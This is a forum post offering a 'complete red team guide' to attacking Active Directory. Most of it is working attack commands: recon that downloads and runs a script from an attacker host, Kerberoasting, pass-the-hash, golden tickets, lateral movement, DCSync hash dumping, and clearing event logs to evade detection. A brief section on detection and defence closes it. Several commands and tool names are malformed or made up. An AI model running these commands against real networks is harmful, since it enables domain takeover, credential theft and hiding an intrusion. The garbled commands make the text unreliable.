Active Directory Attacks: Complete Red Team Guide

[Blacksec]

Active Directory Attacks: Complete Red Team Guide ​

---

> Posted by: domain_hunter | Rank: Legend | Joined: 2021 [/I]

---

Spoiler: Authorized Testing Only

This guide is for authorized red team engagements. Unauthorized access is illegal.

Active Directory is the crown jewel of most enterprise networks.

One compromised machine can lead to domain dominance if you know the attack paths. Let me show you the modern AD attack chain.

---

━━━ AD RECON: Your First Move ━━━[/B]

Enumerate BEFORE you exploit.

# === PowerShell One-Liners (run from compromised host) ===

# Basic domain info
Get-NetDomain
Get-NetDomainController

# All users
Get-NetUser -AdminCount
Get-NetUser | Select samaccountname,description,pwdlastset,lastlogon

# All computers
Get-NetComputer -OperationalStatus
Get-NetComputer | Select name,lastlogon,pwdlastset

# Groups & members
Get-NetGroup -FullInfo
Get-NetGroup "Domain Admins" -Members
Get-NetGroup "Enterprise Admins" -Members

# OU structure
Get-NetOU
Get-NetGPO -FullInfo

# ACLs (Access Control Lists)
Get-ObjectAcl -SamAccountName target_user
Get-ObjectAcl -Identity "Domain Admins"

PowerView - The Swiss Army Knife:

# Download & load
IEX (New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")

# Useful commands
Get-Domain
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainOU
Get-DomainGPO
Get-DomainPolicy

# Find vulnerable groups
Find-DomainObjectOwner -Identity "Domain Admins"

# Find unconstrained delegation
Get-NetComputer -UnConstrained

# Find constrained delegation
Get-NetUser -TrustedToAuth

# Enumerate all trusts
Get-DomainTrust
Get-DomainTrust -Verbose

---

━━━ CREDENTIAL ATTACKS ━━━

1. Kerberoasting (TGS Request Attack):

# Request TGS tickets for service accounts
.\Rubeus.exe kerberoast /outfile:_hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

# Alternative: Impacket
python3 impacket-kerberoast requested/TGS.py domain.com/user:password -dc-ip DC_IP

2. AS-REP Roasting (Pre-Auth Disabled):

# Find users with pre-auth disabled
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Crack
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# Impacket alternative
python3 impacket-GetNPUsers.py domain.com/ -request -format hashcat

3. Pass-the-Hash:

# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u username -H ntml_hash --local-auth

# Using Impacket psexec
python3 psexec.py domain.com/user@target -hashes :ntlm_hash

# Using Evil-WinRM
evil-winrm -i target -u username -H ntml_hash

4. Pass-the-Ticket (Golden/Silver Ticket):

# Golden Ticket (requires KRBTGT hash)
.\Rubeus.exe golden /user:attacker /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt

# Silver Ticket (targets specific service)
.\Rubeus.exe silver /user:attacker /service:cifs/target.domain.com /domain:domain.com /sid:S-1-5-21-... /rc4:hash /ptt

---

━━━ LATERAL MOVEMENT ━━━

Move laterally to find the Domain Controller:

# CrackMapExec for lateral movement
crackmapexec smb 10.10.10.0/24 -u username -p password --shares
crackmapexec smb 10.10.10.0/24 -u username -p password --sam
crackmapexec smb 10.10.10.0/24 -u username -p password --lsadump

# Impacket suite
python3 psexec.py domain.com/user:password@target
python3 wmiexec.py domain.com/user:password@target
python3 atexec.py domain.com/user:password@target "whoami"
python3 smbexec.py domain.com/user:password@target

# WinRM for remote execution
crackmapexec winrm 10.10.10.0/24 -u username -p password
impacket-wmiexec domain.com/user:password@target

---

━━━ DEFENSE EVASION ━━━

Stay invisible in AD:

# Disable logging (DANGEROUS - for authorized testing only)
# Note: Many of these require admin rights

# Modify security policy
secedit /export /cfg c:\temp\secpol.cfg
# Edit to disable auditing, then import back

# Clear event logs (requires admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Disable PowerShell scripting logs
# Edit registry or use GPO

# Use Living Off the Land Binaries (LOLBins)
# PsExec, WMI, WinRM instead of custom tools

LOLBins Reference:

┌─────────────────┬──────────────────────────────────────┐
│     Tool        │          Usage                       │
├─────────────────┼──────────────────────────────────────┤
│ PsExec          │ Remote execution                     │
│ WMIC            │ Process creation, info gathering     │
│ WinRM           │ Remote management                    │
│ schtasks        │ Scheduled task execution             │
│ msiexec         │ Run MSI packages (can execute code)  │
│ certutil        │ Download files, encode/decode        │
│ powershell      │ Everything                           │
│ cscript/wscript │ VBScript execution                   │
│ rundll32        │ Execute DLL functions                │
│ regsvr32        │ Execute COM scripts                  │
└─────────────────┴──────────────────────────────────────┘

---

━━━ PRIVILEGE ESCALATION TO DA ━━━

Path 1: DCSync Attack (The Fastest Way):

# If you have Domain Admin or equivalent:
python3 impacket-secretsdump.py -just-dc domain.com/admin:password@DC_IP

# Or with hashes:
python3 impacket-secretsdump.py -just-dc -hashes :ntml_hash domain.com/admin@DC_IP

# This extracts ALL domain hashes including KRBTGT
# Then create Golden Ticket

Path 2: Group Policy Preferences:

# Check for GPP with stored passwords
Get-GPOReport -All | Select-String -Pattern "cpassword"

# If found, decrypt the password
# mitchellkrog.com has a decoder
# Or use PowerShell:
Import-Module .\GPOTools.psd1
Get-GPPPassword

Path 3: ABAC/ACE Abuse:

# Find objects with writable ACLs
Get-ObjectAcl -SamAccountName "Domain Admins" -Resolve | Where-Object { $_.ActiveDirectoryRights -like "*Write*" }

# Common exploitable permissions:
• GenericAll - Full control
• GenericWrite - Write attributes
• WriteDacl - Modify ACLs
• WriteOwner - Change ownership
• Self - Self-replicating (Exchange)

---

━━━ AUTOMATED ATTACK FRAMEWORKS ━━━

CrackMapExec - The Swiss Army Knife:

# Installation
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && pip3 install .

# Common commands
cme smb 10.10.10.0/24 -u username -p password
cme smb 10.10.10.0/24 -u username -p password --shares
cme smb 10.10.10.0/24 -u username -p password --local-auth
cme smb 10.10.10.0/24 -u username -H ntml_hash --local-auth
cme smb 10.10.10.0/24 -u username -p password --sam
cme smb 10.10.10.0/24 -u username -p password --lsadump
cme smb 10.10.10.0/24 -u username -p password --ntds
cme smb 10.10.10.0/24 -u username -p password --psexec "whoami"
cme smb 10.10.10.0/24 -u username -p password --ps "powershell encoded"
cme smb 10.10.10.0/24 -u username -p password --exec-method smbexec
cme smb 10.10.10.0/24 -u username -p password --kdc 10.10.10.5

# Windows Management
cme winrm 10.10.10.0/24 -u username -p password
cme winrm 10.10.10.0/24 -u username -H ntml_hash
cme rdpscript 10.10.10.0/24 -u username -p password

BloodHound - Attack Path Visualization:

# Install BloodHound
# Collector: SharpHound (Windows) or BloodHound.py (Linux)

# Collect data
.\SharpHound.exe -c All --domain domain.com

# Upload to BloodHound web interface
# Analyze attack paths

# Common query targets:
•最短路径 to Domain Admin
• Group membership chains
• ACL abuse paths
• GPO abuse opportunities
• Trust relationship exploitation

---

━━━ DEFENSE: Detecting AD Attacks ━━━

Key Event IDs to Monitor:

┌────────────┬──────────────────────────────────────────┐
│ Event ID   │ What It Means                            │
├────────────┼──────────────────────────────────────────┤
│ 4624       │ Successful logon                         │
│ 4625       │ Failed logon (brute force indicator)     │
│ 4672       │ Privileged logon (admin)                 │
│ 4720       │ User account created                     │
│ 4722       │ User account enabled                     │
│ 4724       │ Password reset                           │
│ 4728       │ Added to security group                  │
│ 4732       │ Added to admin group                     │
│ 4756       │ Added to distribution group              │
│ 4768       │ TGT requested (Kerberos)                 │
│ 4769       │ TGS requested (Kerberos)                 │
│ 4776       │ NTLM auth attempted                      │
│ 4662       │ Object access (detailed)                 │
│ 4663       │ Object access (file/dir)                 │
│ 4670       │ Permissions changed                      │
│ 4703       │ User token created                       │
│ 4725       │ User account disabled                    │
│ 4726       │ User account deleted                     │
│ 5136       │ Directory service changed                │
│ 5137       │ Directory service object created         │
│ 5140       │ Network share accessed                   │
│ 5145       │ Network share object accessed            │
└────────────┴──────────────────────────────────────────┘

Recommended Defenses:

1. Enable Advanced Audit Policies
   - Audit Logon Events (Success/Failure)
   - Audit Account Management
   - Audit Directory Service Access

2. Implement Privileged Access Workstations (PAWs)
   - Admins log in from separate, hardened machines
   - No internet browsing on PAWs

3. Disable unnecessary protocols
   - SMBv1, NTLMv1
   - Enable SMB signing

4. Monitor for unusual patterns
   - Multiple failed logons
   - Logons from unusual locations
   - Privileged logons at unusual times
   - RDP from non-admin workstations

5. Use credential guard
   -LSA protection
   - Credential Guard (virtually isolates credentials)

6. Regular password changes for service accounts
   - Use GMSA (Group Managed Service Accounts)
   - Rotate Kerberos keys

---

━━━ TL;DR ━━━

✅ Always recon first (PowerView, BloodHound)
✅ Kerberoasting is your friend (service account hashes)
✅ AS-REP Roasting catches lazy admins
✅ Pass-the-Hash > Pass-the-Password
✅ DCSync gets you ALL hashes instantly
✅ LOLBins keep you under the radar
✅ Automate with CrackMapExec
✅ Document everything for the report

---

What's your favorite AD attack? Drop it below.
Next: Cloud AD attacks (Azure AD/Entra ID).

Last edited by domain_hunter; 10 minutes ago.

---

[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
domain_hunter | Legend | AD Security Specialist
"The domain is the kingdom, and I own the keys"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG][/b][/b][/b][/b][/b][/b][/b]